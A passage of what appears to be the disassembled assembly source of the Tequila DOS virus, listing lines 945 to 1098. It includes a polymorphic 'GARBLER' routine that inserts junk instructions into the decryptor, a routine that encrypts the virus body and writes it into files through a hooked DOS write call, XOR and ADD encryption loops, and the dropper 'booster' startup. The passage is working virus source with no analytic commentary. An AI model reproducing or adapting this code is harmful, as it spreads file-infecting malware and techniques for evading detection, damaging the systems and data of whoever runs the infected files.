  945.    MOV W[SI],DX
  946.    INC SI
  947.    INC SI
  948.    MOV W[SI],04346
  949.    INC SI
  950.    INC SI
  951.    CALL GARBLER
  952.    MOV AX,0FE81
  953.    MOV CL,0BE
  954.    TEST CH,1
  955.    JE 0993              ;Masm Mod. Needed
  956.    MOV AH,0FB
  957.    MOV CL,0BB
  958.    MOV W[SI],AX
  959.    INC SI
  960.    INC SI
  961.    PUSH BX
  962.    ADD BX,040
  963.    MOV W[SI],BX
  964.    INC SI
  965.    INC SI
  966.    POP BX
  967.    MOV B[SI],072
  968.    INC SI
  969.    MOV DX,SI
  970.    INC SI
  971.    CALL GARBLER
  972.    MOV B[SI],CL
  973.    INC SI
  974.    MOV W[SI],BX
  975.    INC SI
  976.    INC SI
  977.    MOV AX,SI
  978.    SUB AX,DX
  979.    DEC AX
  980.    MOV BX,DX
  981.    MOV B[BX],AL
  982.    CALL GARBLER
  983.    CALL GARBLER
  984.    MOV B[SI],0E2
  985.    INC SI
  986.    SUB DI,SI
  987.    DEC DI
  988.    MOV AX,DI
  989.    MOV B[SI],AL
  990.    INC SI
  991.    CALL GARBLER
  992.    RET
  993.  
  994. GARBLER:
  995.    DEC BP
  996.    ES TEST B[BP],0F             ;Masm Mod. Needed
  997.    JE RET               ;Masm Mod. Needed
  998.    DEC BP
  999.    ES MOV AL,B[BP]              ;Masm Mod. Needed
  1000.    TEST AL,2
  1001.    JE 0A0E              ;Masm Mod. Needed
  1002.    TEST AL,4
  1003.    JE 09F7              ;Masm Mod. Needed
  1004.    TEST AL,8
  1005.    JE 09F1              ;Masm Mod. Needed
  1006.    MOV W[SI],0C789
  1007.    INC SI
  1008.    INC SI
  1009.    JMP RET              ;Masm Mod. Needed
  1010.    MOV B[SI],090
  1011.    INC SI
  1012.    JMP RET              ;Masm Mod. Needed
  1013.    MOV AL,085
  1014.    DEC BP
  1015.    ES MOV AH,B[BP]              ;Masm Mod. Needed
  1016.    TEST AH,2
  1017.    JE 0A05              ;Masm Mod. Needed
  1018.    DEC AL
  1019.    OR AH,0C0
  1020.    MOV W[SI],AX
  1021.    INC SI
  1022.    INC SI
  1023.    JMP RET              ;Masm Mod. Needed
  1024.    DEC BP
  1025.    ES TEST B[BP],2              ;Masm Mod. Needed
  1026.    JE 0A1A              ;Masm Mod. Needed
  1027.    MOV AL,039
  1028.    JMP 09F9             ;Masm Mod. Needed
  1029.    MOV B[SI],0FC
  1030.    INC SI
  1031.    RET
  1032.  
  1033. MAKE_THE_DISK_WRITE:
  1034.    CALL PERFORM_ENCRYPTION_DECRYPTION
  1035.    MOV AH,040
  1036.    MOV BX,W[09A4]
  1037.    MOV DX,0
  1038.    MOV CX,09A4
  1039.    PUSHF
  1040.    CALL D[09B4]         ;Masm Mod. Needed
  1041.    JB 0A37              ;Masm Mod. Needed
  1042.    SUB AX,CX
  1043.    PUSHF
  1044.    CMP B[0A39],028              ;Masm Mod. Needed
  1045.    JNE 0A44             ;Masm Mod. Needed
  1046.    MOV B[0A39],0        ;Masm Mod. Needed
  1047.    CALL PERFORM_ENCRYPTION_DECRYPTION
  1048.    POPF
  1049.    RET
  1050.  
  1051. PERFORM_ENCRYPTION_DECRYPTION:
  1052.    MOV BX,0
  1053.    MOV SI,0960
  1054.    MOV CX,0960
  1055.    MOV DL,B[SI]
  1056.    XOR B[BX],DL
  1057.    INC SI
  1058.    INC BX
  1059.    CMP SI,09A0
  1060.    JB 0A61              ;Masm Mod. Needed
  1061.    MOV SI,0960
  1062.    LOOP 0A52            ;Masm Mod. Needed
  1063.    RET
  1064.  
  1065. THE_FILE_DECRYPTING_ROUTINE:
  1066.    PUSH CS
  1067.    POP DS
  1068.    MOV BX,4
  1069.    MOV SI,0964
  1070.    MOV CX,0960
  1071.    MOV DL,B[SI]
  1072.    ADD B[BX],DL
  1073.    INC SI
  1074.    INC BX
  1075.    CMP SI,09A4
  1076.    JB 0A7E              ;Masm Mod. Needed
  1077.    MOV SI,0964
  1078.    LOOP 0A6F            ;Masm Mod. Needed
  1079.    JMP 0390             ;Masm Mod. Needed
  1080.  
  1081. ;========== THE FOLLOWING IS NOT PART OF THE VIRUS ========
  1082. ;==========       BUT IS MERELY THE BOOSTER.       ========
  1083.  
  1084. START:
  1085.    LEA W[0104],EXIT             ;Masm Mod. Needed
  1086.    MOV W[0106],CS               ;Masm Mod. Needed
  1087.    MOV BX,CS
  1088.    SUB W[0106],BX               ;Masm Mod. Needed
  1089.    JMP INSTALL
  1090.  
  1091. EXIT:
  1092.    INT 020
  1093.  
  1094. TEQUILA ENDP
  1095. CODE_SEG ENDS
  1096. END TEQUILA
  1097.  
  1098.